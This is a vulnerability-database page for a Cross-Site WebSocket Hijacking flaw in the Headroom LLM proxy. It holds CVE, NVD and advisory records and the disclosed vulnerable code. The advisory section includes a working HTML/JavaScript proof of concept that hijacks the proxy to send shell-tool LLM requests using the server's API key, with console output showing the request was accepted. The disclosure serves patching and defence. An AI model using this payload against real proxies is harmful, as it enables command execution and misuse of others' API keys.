Vulnerability-Lookup

CVE-2026-71416 (GCVE-0-2026-71416)

Vulnerability from cvelistv5 – Published: 2026-09-11 13:34 – Updated: 2026-09-11 14:33

Title

Headroom vulnerable to Cross-Site WebSocket Hijacking (CSWSH)

Summary

Headroom compresses data before the data reaches a large language model. Prior to version 0.35.0, the Headroom WebSocket server does not validate the `Origin` header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the `OPENAI_API_KEY` environment variable. Version 0.35.0 fixes the issue.

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-11 14:31 UTC

CWE

CWE-287 - Improper Authentication
CWE-1385 - Missing Origin Validation in WebSockets

Assigner

GitHub_M mitre root Scorecard

References

2 references

URL	Tags
https://github.com/headroomlabs-ai/headroom/secur…	x_refsource_CONFIRM
https://github.com/headroomlabs-ai/headroom/relea…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
headroomlabs-ai	headroom	Affected: < 0.35.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-71416",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-11T14:31:54.198576Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-11T14:33:18.586Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/headroomlabs-ai/headroom/security/advisories/GHSA-h46j-26q3-rggf"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "headroom",
          "vendor": "headroomlabs-ai",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.35.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Headroom compresses data before the data reaches a large language model. Prior to version 0.35.0, the Headroom WebSocket server does not validate the `Origin` header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the `OPENAI_API_KEY` environment variable. Version 0.35.0 fixes the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-287",
              "description": "CWE-287: Improper Authentication",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-1385",
              "description": "CWE-1385: Missing Origin Validation in WebSockets",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T13:34:38.794Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/headroomlabs-ai/headroom/security/advisories/GHSA-h46j-26q3-rggf",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/headroomlabs-ai/headroom/security/advisories/GHSA-h46j-26q3-rggf"
        },
        {
          "name": "https://github.com/headroomlabs-ai/headroom/releases/tag/v0.35.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/headroomlabs-ai/headroom/releases/tag/v0.35.0"
        }
      ],
      "source": {
        "advisory": "GHSA-h46j-26q3-rggf",
        "discovery": "UNKNOWN"
      },
      "title": "Headroom vulnerable to Cross-Site WebSocket Hijacking (CSWSH)"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-71416",
    "datePublished": "2026-09-11T13:34:38.794Z",
    "dateReserved": "2026-08-06T16:28:51.181Z",
    "dateUpdated": "2026-09-11T14:33:18.586Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-71416",
      "date": "2026-10-02",
      "epss": "0.00219",
      "percentile": "0.11236"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "headroom",
                "vendor": "headroomlabs-ai",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 0.35.0"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Headroom compresses data before the data reaches a large language model. Prior to version 0.35.0, the Headroom WebSocket server does not validate the `Origin` header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the `OPENAI_API_KEY` environment variable. Version 0.35.0 fixes the issue."
          }
        ],
        "id": "CVE-2026-71416",
        "lastModified": "2026-09-30T19:57:08.043",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 8.8,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 5.9,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-71416",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-11T14:31:54.198576Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-09-11T14:17:32.390",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/headroomlabs-ai/headroom/releases/tag/v0.35.0"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/headroomlabs-ai/headroom/security/advisories/GHSA-h46j-26q3-rggf"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/headroomlabs-ai/headroom/security/advisories/GHSA-h46j-26q3-rggf"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-287"
              },
              {
                "lang": "en",
                "value": "CWE-1385"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-71416",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "total"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-09-11T14:31:54.198576Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-09-11T14:32:23.039Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/headroomlabs-ai/headroom/security/advisories/GHSA-h46j-26q3-rggf"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "headroom",
              "vendor": "headroomlabs-ai",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 0.35.0"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Headroom compresses data before the data reaches a large language model. Prior to version 0.35.0, the Headroom WebSocket server does not validate the `Origin` header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the `OPENAI_API_KEY` environment variable. Version 0.35.0 fixes the issue."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 8.8,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-287",
                  "description": "CWE-287: Improper Authentication",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-1385",
                  "description": "CWE-1385: Missing Origin Validation in WebSockets",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-09-11T13:34:38.794Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/headroomlabs-ai/headroom/security/advisories/GHSA-h46j-26q3-rggf",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/headroomlabs-ai/headroom/security/advisories/GHSA-h46j-26q3-rggf"
            },
            {
              "name": "https://github.com/headroomlabs-ai/headroom/releases/tag/v0.35.0",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/headroomlabs-ai/headroom/releases/tag/v0.35.0"
            }
          ],
          "source": {
            "advisory": "GHSA-h46j-26q3-rggf",
            "discovery": "UNKNOWN"
          },
          "title": "Headroom vulnerable to Cross-Site WebSocket Hijacking (CSWSH)"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-71416",
        "datePublished": "2026-09-11T13:34:38.794Z",
        "dateReserved": "2026-08-06T16:28:51.181Z",
        "dateUpdated": "2026-09-11T14:33:18.586Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

EUVD-2026-366848

European Vulnerability Database identifier assigned by ENISA

Reserved

2026-10-02 08:35

Assigner

ENISA

Alias of

a CVE record, shown under related vulnerabilities. This identifier carries no description, severity or references of its own: they belong to that CVE.

JSON

To clipboard

{
  "assigner": "ENISA",
  "date_reserved": "2026-10-02T08:35:54.304798+00:00",
  "id": "EUVD-2026-366848"
}

FKIE_CVE-2026-71416

Vulnerability from fkie_nvd - Published: 2026-09-11 14:17 - Updated: 2026-09-30 19:57

Severity

8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/headroomlabs-ai/headroom/releases/tag/v0.35.0
	security-advisories@github.com	https://github.com/headroomlabs-ai/headroom/security/advisories/GHSA-h46j-26q3-rggf
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/headroomlabs-ai/headroom/security/advisories/GHSA-h46j-26q3-rggf

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "headroom",
          "vendor": "headroomlabs-ai",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.35.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Headroom compresses data before the data reaches a large language model. Prior to version 0.35.0, the Headroom WebSocket server does not validate the `Origin` header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the `OPENAI_API_KEY` environment variable. Version 0.35.0 fixes the issue."
    }
  ],
  "id": "CVE-2026-71416",
  "lastModified": "2026-09-30T19:57:08.043",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-71416",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-09-11T14:31:54.198576Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-09-11T14:17:32.390",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/headroomlabs-ai/headroom/releases/tag/v0.35.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/headroomlabs-ai/headroom/security/advisories/GHSA-h46j-26q3-rggf"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/headroomlabs-ai/headroom/security/advisories/GHSA-h46j-26q3-rggf"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-287"
        },
        {
          "lang": "en",
          "value": "CWE-1385"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-H46J-26Q3-RGGF

Vulnerability from github – Published: 2026-10-02 23:09 – Updated: 2026-10-02 23:09

Summary

Headroom vulnerable to Cross-Site WebSocket Hijacking (CSWSH)

Details

Summary

The Headroom WebSocket server does not validate the Origin header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the OPENAI_API_KEY environment variable.

Details

The Headroom server defines a WebSocket handler at ws://<headroom_host>:8787/v1/responses in headroom/providers/proxy_routes.py:

    @app.websocket("/v1/responses")
    async def openai_responses_ws(websocket: WebSocket):
        await proxy.handle_openai_responses_ws(websocket)

In the handle_openai_responses_ws() method of the OpenAIHandlerMixin class, the Origin header of the WebSocket client handshake is not checked or verified before calling websocket.accept(), which grants any WebSocket client (including malicious clients) access to the server:

    async def handle_openai_responses_ws(self, websocket: WebSocket) -> None:
        """WebSocket proxy for /v1/responses (Codex gpt-5.4+).

        Newer Codex versions use WebSocket instead of HTTP POST for the
        Responses API.  This handler:
        1. Accepts the client WebSocket
        2. Receives the first message (``response.create`` request)
        3. Opens an upstream WebSocket to OpenAI
        4. Compresses eligible `response.create` text through the Python
           ContentRouter path, then sends the request upstream
        5. Relays all subsequent messages bidirectionally
        """
        ...

        # Accept client connection with the requested subprotocol
        async with stage_timer.measure("accept"):
            if client_subprotocols:
                await websocket.accept(subprotocol=client_subprotocols[0])
            else:
                await websocket.accept()

The malicious WebSocket client does not need to provide authentication headers or API keys as the Authorization header is automatically populated with the OpenAI API key via the OPENAI_API_KEY environment variable, if it has been used to store the API key:

        # Ensure Authorization header is present — fall back to OPENAI_API_KEY env var.
        # Safety net for clients that don't forward auth headers via WebSocket upgrade.
        if "authorization" not in _lower_headers:
            api_key = os.environ.get("OPENAI_API_KEY")
            if api_key:
                upstream_headers["Authorization"] = f"Bearer {api_key}"
                logger.debug(f"[{request_id}] WS: injected Authorization from OPENAI_API_KEY env")
            else:
                logger.warning(
                    f"[{request_id}] WS: no Authorization header from client and "
                    f"OPENAI_API_KEY not set — upstream will likely reject"
                )

Once the client connection is accepted and authenticated malicious WebSocket clients can perform arbitrary LLM requests to the OpenAI API, including arbitrary instructions/input prompts and tools.

PoC

Run the Headroom proxy server: OPENAI_API_KEY=MY_KEY headroom proxy --host 0.0.0.0
Render the following HTML PoC page in a traditional or headless browser which has access to the Headroom proxy server:

<html>
<body>
    <script>
        let headroomHost = '192.168.0.106';
        let socket = new WebSocket(`ws://${headroomHost}:8787/v1/responses`);

        let openAiPayload = {
            type: "response.create",
            model: "gpt-5.4",
            instructions: "The local bash shell environment is on Linux.",
            input: "Run the id command for the logged in user",
            tools: [{type: "shell", environment: {type: "local"}}]
        };

        socket.addEventListener("open", (event) => {
            let openAiPayloadStr = JSON.stringify(openAiPayload);
            console.log(`Sending LLM request: ${openAiPayloadStr}`);
            socket.send(openAiPayloadStr);
        });

        socket.addEventListener("message", (event) => {
            console.log(`Response from server: ${event.data}`);
        });
    </script>
</body>
</html>

The PoC uses the shell tool, but any tool/input/instruction prompt can be used.

Output

The console.log() output from the PoC shows that the malicious WebSocket client request was accepted by Headroom and forwarded to the upstream OpenAI API. The server responses show that I have an insufficient quota to perform the LLM request, but proves that it was attempted:

Sending LLM request: {"type":"response.create","model":"gpt-5.4","instructions":"The local bash shell environment is on Linux.","input":"Run the id command for the logged in user","tools":[{"type":"shell","environment":{"type":"local"}}]}
ws.html:22 Response from server: {"type":"response.created","response":{"id":"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b","object":"response","created_at":1780650263,"status":"in_progress","background":false,"completed_at":null,"error":null,"frequency_penalty":0.0,"incomplete_details":null,"instructions":"The local bash shell environment is on Linux.","max_output_tokens":null,"max_tool_calls":null,"model":"gpt-5.4-2026-03-05","moderation":null,"output":[],"parallel_tool_calls":true,"presence_penalty":0.0,"previous_response_id":null,"prompt_cache_key":null,"prompt_cache_retention":"24h","reasoning":{"context":"current_turn","effort":"none","summary":null},"safety_identifier":null,"service_tier":"auto","store":true,"temperature":1.0,"text":{"format":{"type":"text"},"verbosity":"medium"},"tool_choice":"auto","tools":[{"type":"shell","environment":{"type":"local"}}],"top_logprobs":0,"top_p":0.98,"truncation":"disabled","usage":null,"user":null,"metadata":{}},"sequence_number":0}
ws.html:22 Response from server: {"type":"response.in_progress","response":{"id":"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b","object":"response","created_at":1780650263,"status":"in_progress","background":false,"completed_at":null,"error":null,"frequency_penalty":0.0,"incomplete_details":null,"instructions":"The local bash shell environment is on Linux.","max_output_tokens":null,"max_tool_calls":null,"model":"gpt-5.4-2026-03-05","moderation":null,"output":[],"parallel_tool_calls":true,"presence_penalty":0.0,"previous_response_id":null,"prompt_cache_key":null,"prompt_cache_retention":"24h","reasoning":{"context":"current_turn","effort":"none","summary":null},"safety_identifier":null,"service_tier":"auto","store":true,"temperature":1.0,"text":{"format":{"type":"text"},"verbosity":"medium"},"tool_choice":"auto","tools":[{"type":"shell","environment":{"type":"local"}}],"top_logprobs":0,"top_p":0.98,"truncation":"disabled","usage":null,"user":null,"metadata":{}},"sequence_number":1}
ws.html:22 Response from server: {"type":"error","error":{"type":"insufficient_quota","code":"insufficient_quota","message":"You exceeded your current quota, please check your plan and billing details. For more information on this error, read the docs: https://platform.openai.com/docs/guides/error-codes/api-errors.","param":null},"sequence_number":2}
ws.html:22 Response from server: {"type":"response.failed","response":{"id":"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b","object":"response","created_at":1780650263,"status":"failed","background":false,"completed_at":null,"error":{"code":"insufficient_quota","message":"You exceeded your current quota, please check your plan and billing details. For more information on this error, read the docs: https://platform.openai.com/docs/guides/error-codes/api-errors."},"frequency_penalty":0.0,"incomplete_details":null,"instructions":"The local bash shell environment is on Linux.","max_output_tokens":null,"max_tool_calls":null,"model":"gpt-5.4-2026-03-05","moderation":null,"output":[],"parallel_tool_calls":true,"presence_penalty":0.0,"previous_response_id":null,"prompt_cache_key":null,"prompt_cache_retention":"24h","reasoning":{"context":"current_turn","effort":"none","summary":null},"safety_identifier":null,"service_tier":"auto","store":true,"temperature":1.0,"text":{"format":{"type":"text"},"verbosity":"medium"},"tool_choice":"auto","tools":[{"type":"shell","environment":{"type":"local"}}],"top_logprobs":0,"top_p":0.98,"truncation":"disabled","usage":null,"user":null,"metadata":{}},"sequence_number":3}

Impact

Allowing malicious WebSocket clients to perform arbitrary LLM requests could leverage tools such as the shell tool to perform arbitrary commands leading to RCE. Other tools or prompts could be used to disclose sensitive information or perform expensive LLM requests to waste an organisations quota.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "headroom-ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.35.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-71416"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1385",
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-02T23:09:15Z",
    "nvd_published_at": "2026-09-11T14:17:32Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe Headroom WebSocket server does not validate the `Origin` header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the `OPENAI_API_KEY` environment variable.\n\n### Details\nThe Headroom server defines a WebSocket handler at `ws://\u003cheadroom_host\u003e:8787/v1/responses` in `headroom/providers/proxy_routes.py`:\n```python\n    @app.websocket(\"/v1/responses\")\n    async def openai_responses_ws(websocket: WebSocket):\n        await proxy.handle_openai_responses_ws(websocket)\n```\nIn the `handle_openai_responses_ws()` method of the `OpenAIHandlerMixin` class, the `Origin` header of the WebSocket client handshake is not checked or verified before calling `websocket.accept()`, which grants any WebSocket client (including malicious clients) access to the server:\n```python\n    async def handle_openai_responses_ws(self, websocket: WebSocket) -\u003e None:\n        \"\"\"WebSocket proxy for /v1/responses (Codex gpt-5.4+).\n\n        Newer Codex versions use WebSocket instead of HTTP POST for the\n        Responses API.  This handler:\n        1. Accepts the client WebSocket\n        2. Receives the first message (``response.create`` request)\n        3. Opens an upstream WebSocket to OpenAI\n        4. Compresses eligible `response.create` text through the Python\n           ContentRouter path, then sends the request upstream\n        5. Relays all subsequent messages bidirectionally\n        \"\"\"\n        ...\n\n        # Accept client connection with the requested subprotocol\n        async with stage_timer.measure(\"accept\"):\n            if client_subprotocols:\n                await websocket.accept(subprotocol=client_subprotocols[0])\n            else:\n                await websocket.accept()\n```\nThe malicious WebSocket client does not need to provide authentication headers or API keys as the `Authorization` header is automatically populated with the OpenAI API key via the `OPENAI_API_KEY` environment variable, if it has been used to store the API key:\n```python\n        # Ensure Authorization header is present \u2014 fall back to OPENAI_API_KEY env var.\n        # Safety net for clients that don\u0027t forward auth headers via WebSocket upgrade.\n        if \"authorization\" not in _lower_headers:\n            api_key = os.environ.get(\"OPENAI_API_KEY\")\n            if api_key:\n                upstream_headers[\"Authorization\"] = f\"Bearer {api_key}\"\n                logger.debug(f\"[{request_id}] WS: injected Authorization from OPENAI_API_KEY env\")\n            else:\n                logger.warning(\n                    f\"[{request_id}] WS: no Authorization header from client and \"\n                    f\"OPENAI_API_KEY not set \u2014 upstream will likely reject\"\n                )\n```\nOnce the client connection is accepted and authenticated malicious WebSocket clients can perform arbitrary LLM requests to the OpenAI API, including arbitrary `instructions`/`input` prompts and tools.\n\n### PoC\n- Run the Headroom proxy server: `OPENAI_API_KEY=MY_KEY headroom proxy --host 0.0.0.0`\n- Render the following HTML PoC page in a traditional or headless browser which has access to the Headroom proxy server:\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\t\u003cscript\u003e\n\t\tlet headroomHost = \u0027192.168.0.106\u0027;\n\t\tlet socket = new WebSocket(`ws://${headroomHost}:8787/v1/responses`);\n\n\t\tlet openAiPayload = {\n\t\t\ttype: \"response.create\",\n\t\t\tmodel: \"gpt-5.4\",\n\t\t\tinstructions: \"The local bash shell environment is on Linux.\",\n\t\t\tinput: \"Run the id command for the logged in user\",\n\t\t\ttools: [{type: \"shell\", environment: {type: \"local\"}}]\n\t\t};\n\n\t\tsocket.addEventListener(\"open\", (event) =\u003e {\n\t\t\tlet openAiPayloadStr = JSON.stringify(openAiPayload);\n\t\t\tconsole.log(`Sending LLM request: ${openAiPayloadStr}`);\n\t\t  \tsocket.send(openAiPayloadStr);\n\t\t});\n\n\t\tsocket.addEventListener(\"message\", (event) =\u003e {\n\t\t  \tconsole.log(`Response from server: ${event.data}`);\n\t\t});\n\t\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n``` \n- The PoC uses the shell tool, but any tool/input/instruction prompt can be used. \n#### Output\nThe `console.log()` output from the PoC shows that the malicious WebSocket client request was accepted by Headroom and forwarded to the upstream OpenAI API. The server responses show that I have an insufficient quota to perform the LLM request, but proves that it was attempted:\n```\nSending LLM request: {\"type\":\"response.create\",\"model\":\"gpt-5.4\",\"instructions\":\"The local bash shell environment is on Linux.\",\"input\":\"Run the id command for the logged in user\",\"tools\":[{\"type\":\"shell\",\"environment\":{\"type\":\"local\"}}]}\nws.html:22 Response from server: {\"type\":\"response.created\",\"response\":{\"id\":\"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b\",\"object\":\"response\",\"created_at\":1780650263,\"status\":\"in_progress\",\"background\":false,\"completed_at\":null,\"error\":null,\"frequency_penalty\":0.0,\"incomplete_details\":null,\"instructions\":\"The local bash shell environment is on Linux.\",\"max_output_tokens\":null,\"max_tool_calls\":null,\"model\":\"gpt-5.4-2026-03-05\",\"moderation\":null,\"output\":[],\"parallel_tool_calls\":true,\"presence_penalty\":0.0,\"previous_response_id\":null,\"prompt_cache_key\":null,\"prompt_cache_retention\":\"24h\",\"reasoning\":{\"context\":\"current_turn\",\"effort\":\"none\",\"summary\":null},\"safety_identifier\":null,\"service_tier\":\"auto\",\"store\":true,\"temperature\":1.0,\"text\":{\"format\":{\"type\":\"text\"},\"verbosity\":\"medium\"},\"tool_choice\":\"auto\",\"tools\":[{\"type\":\"shell\",\"environment\":{\"type\":\"local\"}}],\"top_logprobs\":0,\"top_p\":0.98,\"truncation\":\"disabled\",\"usage\":null,\"user\":null,\"metadata\":{}},\"sequence_number\":0}\nws.html:22 Response from server: {\"type\":\"response.in_progress\",\"response\":{\"id\":\"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b\",\"object\":\"response\",\"created_at\":1780650263,\"status\":\"in_progress\",\"background\":false,\"completed_at\":null,\"error\":null,\"frequency_penalty\":0.0,\"incomplete_details\":null,\"instructions\":\"The local bash shell environment is on Linux.\",\"max_output_tokens\":null,\"max_tool_calls\":null,\"model\":\"gpt-5.4-2026-03-05\",\"moderation\":null,\"output\":[],\"parallel_tool_calls\":true,\"presence_penalty\":0.0,\"previous_response_id\":null,\"prompt_cache_key\":null,\"prompt_cache_retention\":\"24h\",\"reasoning\":{\"context\":\"current_turn\",\"effort\":\"none\",\"summary\":null},\"safety_identifier\":null,\"service_tier\":\"auto\",\"store\":true,\"temperature\":1.0,\"text\":{\"format\":{\"type\":\"text\"},\"verbosity\":\"medium\"},\"tool_choice\":\"auto\",\"tools\":[{\"type\":\"shell\",\"environment\":{\"type\":\"local\"}}],\"top_logprobs\":0,\"top_p\":0.98,\"truncation\":\"disabled\",\"usage\":null,\"user\":null,\"metadata\":{}},\"sequence_number\":1}\nws.html:22 Response from server: {\"type\":\"error\",\"error\":{\"type\":\"insufficient_quota\",\"code\":\"insufficient_quota\",\"message\":\"You exceeded your current quota, please check your plan and billing details. For more information on this error, read the docs: https://platform.openai.com/docs/guides/error-codes/api-errors.\",\"param\":null},\"sequence_number\":2}\nws.html:22 Response from server: 